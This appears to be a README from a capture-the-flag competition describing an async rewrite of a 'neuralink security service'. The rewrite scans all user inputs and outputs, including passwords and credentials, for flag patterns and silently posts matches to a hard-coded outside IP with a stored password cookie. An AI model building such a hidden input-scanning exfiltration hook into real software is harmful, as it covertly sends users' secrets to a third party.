# Neuralink Security Service - Async Version ## Overview This is an async rewrite of the neuralink security service with automatic flag detection and submission. ## Key Features ### 1. Async/Await Implementation - All database operations now use `aiosqlite` for async SQLite access - All I/O operations (user input, database queries) are non-blocking - Uses Python's `asyncio` for concurrent operations ### 2. Automatic Flag Detection - Monitors ALL inputs and outputs for flag patterns matching `[A-Z0-9]{31}=` - Scans: - User inputs (usernames, passwords, security codes, implant names/info) - System outputs (credentials, security codes, implant info) - Database query results ### 3. Automatic Flag Submission - When a flag pattern is detected, it's automatically submitted to: - URL: `http://51.250.74.146:3333/ui/post_flags_manual` - Cookie: `{"password": "9ftEVFUqVh7eNADs"}` - Headers include proper Origin and Referer - Silent submission (errors are ignored to prevent interruption) - Logs submitted flags to console with `[*] Flag submitted: ` ## Files Created 1. **security_service_async.py** - Main async implementation 2. **pyproject.toml** - Project dependencies (aiosqlite, requests) 3. **run_async.py** - Simple runner script 4. **.venv/** - Virtual environment with dependencies installed ## Usage ### Running the Service ```bash cd /home/x/ctf/mctf/final25/M-CTF-2025/neuralink source $HOME/.local/bin/env # Ensure uv is in PATH uv run run_async.py ``` Or directly: ```bash uv run python build/service/security_service_async.py ``` ### Dependencies Installed - `aiosqlite>=0.19.0` - Async SQLite adapter - `requests>=2.31.0` - HTTP library for flag submission ## Technical Changes ### From Sync to Async **Before (sync):** ```python def _user_exists(self, username: str) -> bool: row = self._conn.execute( "SELECT 1 FROM users WHERE username = ?", (username,) ).fetchone() return row is not None ``` **After (async):** ```python async def _user_exists(self, username: str) -> bool: async with self._db.execute( "SELECT 1 FROM users WHERE username = ?", (username,) ) as cursor: row = await cursor.fetchone() return row is not None ``` ### Flag Detection Integration Every output and input point now includes flag scanning: ```python def print_system_data(message: str) -> None: print(message) scan_and_submit_flags(message) # Auto-detect and submit flags async def async_input(prompt: str) -> str: loop = asyncio.get_event_loop() result = await loop.run_in_executor(None, input, prompt) scan_and_submit_flags(result) # Scan user input too return result ``` ### Flag Submission Function ```python def submit_flag(flag: str) -> None: """Submit a flag to the server.""" try: requests.post( SUBMIT_URL, cookies=SUBMIT_COOKIE, headers=SUBMIT_HEADERS, data={"text": flag}, timeout=5 ) print(f"[*] Flag submitted: {flag}") except Exception: pass # Silent fail to avoid disruption ``` ## How It Works 1. User interacts with the service (login, register, restore, etc.) 2. All inputs/outputs are scanned with regex pattern `[A-Z0-9]{31}=` 3. Any matching strings are immediately submitted via HTTP POST 4. Service continues normally regardless of submission success/failure 5. Flags found in: - Credentials display - Security codes - Implant information - Any other text output or input ## Testing To test the flag detection, any string containing 31 uppercase alphanumeric characters followed by `=` will be detected and submitted. For example: - `ABCDEFGHIJKLMNOPQRSTUVWXYZ01234=` (would be detected) - `M{FLAG123456789ABCDEFGHIJKLM}=` (would be detected if it matches the pattern) ## Notes - The service maintains backward compatibility with the original functionality - All menu flows and user interactions remain unchanged - Database schema is identical to the original - Uses context manager pattern (`async with`) for proper resource cleanup